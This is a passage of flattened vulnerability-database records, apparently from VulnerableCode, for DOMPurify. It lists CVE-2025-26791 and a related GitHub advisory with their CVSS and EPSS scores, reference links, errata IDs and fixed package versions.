scoring_elements
url https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2
3
reference_url https://github.com/advisories/GHSA-h8r8-wccr-v5f2
reference_id GHSA-h8r8-wccr-v5f2
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-h8r8-wccr-v5f2
fixed_packages
0
url pkg:npm/dompurify@3.3.2
purl pkg:npm/dompurify@3.3.2
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.3.2
aliases GHSA-h8r8-wccr-v5f2
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-ter4-v1bu-7fan
3
url VCID-vzq7-t235-ukd5
vulnerability_id VCID-vzq7-t235-ukd5
summary
DOMPurify allows Cross-site Scripting (XSS)
DOMPurify before 3.2.4 has an incorrect template literal regular expression when SAFE_FOR_TEMPLATES is set to true, sometimes leading to mutation cross-site scripting (mXSS).
references
0
reference_url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-26791.json
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
url https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-26791.json
1
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-26791
reference_id
reference_type
scores
0
value 0.00095
scoring_system epss
scoring_elements 0.26319
published_at 2026-04-26T12:55:00Z
1
value 0.00095
scoring_system epss
scoring_elements 0.26497
published_at 2026-04-08T12:55:00Z
2
value 0.00095
scoring_system epss
scoring_elements 0.26455
published_at 2026-04-16T12:55:00Z
3
value 0.00095
scoring_system epss
scoring_elements 0.26449
published_at 2026-04-13T12:55:00Z
4
value 0.00095
scoring_system epss
scoring_elements 0.26506
published_at 2026-04-12T12:55:00Z
5
value 0.00095
scoring_system epss
scoring_elements 0.26427
published_at 2026-04-07T12:55:00Z
6
value 0.00095
scoring_system epss
scoring_elements 0.26552
published_at 2026-04-11T12:55:00Z
7
value 0.00095
scoring_system epss
scoring_elements 0.26546
published_at 2026-04-09T12:55:00Z
8
value 0.00095
scoring_system epss
scoring_elements 0.26426
published_at 2026-04-18T12:55:00Z
9
value 0.00098
scoring_system epss
scoring_elements 0.26887
published_at 2026-04-24T12:55:00Z
10
value 0.00098
scoring_system epss
scoring_elements 0.26935
published_at 2026-04-21T12:55:00Z
11
value 0.00111
scoring_system epss
scoring_elements 0.2912
published_at 2026-04-29T12:55:00Z
12
value 0.00166
scoring_system epss
scoring_elements 0.37796
published_at 2026-04-04T12:55:00Z
13
value 0.00166
scoring_system epss
scoring_elements 0.37771
published_at 2026-04-02T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-26791
2
reference_url https://ensy.zip/posts/dompurify-323-bypass
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://ensy.zip/posts/dompurify-323-bypass
3
reference_url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
url https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml
4
reference_url https://github.com/cure53/DOMPurify
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/cure53/DOMPurify
5
reference_url https://github.com/cure53/DOMPurify/commit/d18ffcb554e0001748865da03ac75dd7829f0f02
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-14T15:30:30Z/
url https://github.com/cure53/DOMPurify/commit/d18ffcb554e0001748865da03ac75dd7829f0f02
6
reference_url https://github.com/cure53/DOMPurify/releases/tag/3.2.4
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-14T15:30:30Z/
url https://github.com/cure53/DOMPurify/releases/tag/3.2.4
7
reference_url https://nsysean.github.io/posts/dompurify-323-bypass
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nsysean.github.io/posts/dompurify-323-bypass
8
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-26791
reference_id
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-26791
9
reference_url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1098325
reference_id 1098325
reference_type
scores
url https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1098325
10
reference_url https://bugzilla.redhat.com/show_bug.cgi?id=2345695
reference_id 2345695
reference_type
scores
url https://bugzilla.redhat.com/show_bug.cgi?id=2345695
11
reference_url https://ensy.zip/posts/dompurify-323-bypass/
reference_id dompurify-323-bypass
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-14T15:30:30Z/
url https://ensy.zip/posts/dompurify-323-bypass/
12
reference_url https://nsysean.github.io/posts/dompurify-323-bypass/
reference_id dompurify-323-bypass
reference_type
scores
0
value 4.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-14T15:30:30Z/
url https://nsysean.github.io/posts/dompurify-323-bypass/
13
reference_url https://github.com/advisories/GHSA-vhxf-7vqr-mrjg
reference_id GHSA-vhxf-7vqr-mrjg
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-vhxf-7vqr-mrjg
14
reference_url https://access.redhat.com/errata/RHSA-2025:10020
reference_id RHSA-2025:10020
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:10020
15
reference_url https://access.redhat.com/errata/RHSA-2025:1875
reference_id RHSA-2025:1875
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:1875
16
reference_url https://access.redhat.com/errata/RHSA-2025:2518
reference_id RHSA-2025:2518
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:2518
17
reference_url https://access.redhat.com/errata/RHSA-2025:3368
reference_id RHSA-2025:3368
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:3368
18
reference_url https://access.redhat.com/errata/RHSA-2025:3397
reference_id RHSA-2025:3397
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:3397
19
reference_url https://access.redhat.com/errata/RHSA-2025:3886
reference_id RHSA-2025:3886
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:3886
20
reference_url https://access.redhat.com/errata/RHSA-2025:7626
reference_id RHSA-2025:7626
reference_type
scores
url https://access.redhat.com/errata/RHSA-2025:7626
21
reference_url https://access.redhat.com/errata/RHSA-2026:2737
reference_id RHSA-2026:2737
reference_type
scores
url https://access.redhat.com/errata/RHSA-2026:2737
22
reference_url https://access.redhat.com/errata/RHSA-2026:3406
reference_id RHSA-2026:3406
reference_type
scores
url https://access.redhat.com/errata/RHSA-2026:3406
fixed_packages
0
url pkg:npm/dompurify@3.2.4
purl pkg:npm/dompurify@3.2.4
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-mv6v-re2k-g3gn
1
vulnerability VCID-ps3s-bymy-dkbc
2
vulnerability VCID-ter4-v1bu-7fan
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/dompurify@3.2.4
aliases CVE-2025-26791, GHSA-vhxf-7vqr-mrjg
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-vzq7-t235-ukd5
Fixing_vulnerabilities
Risk_score4.5
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/dompurify@2.4.6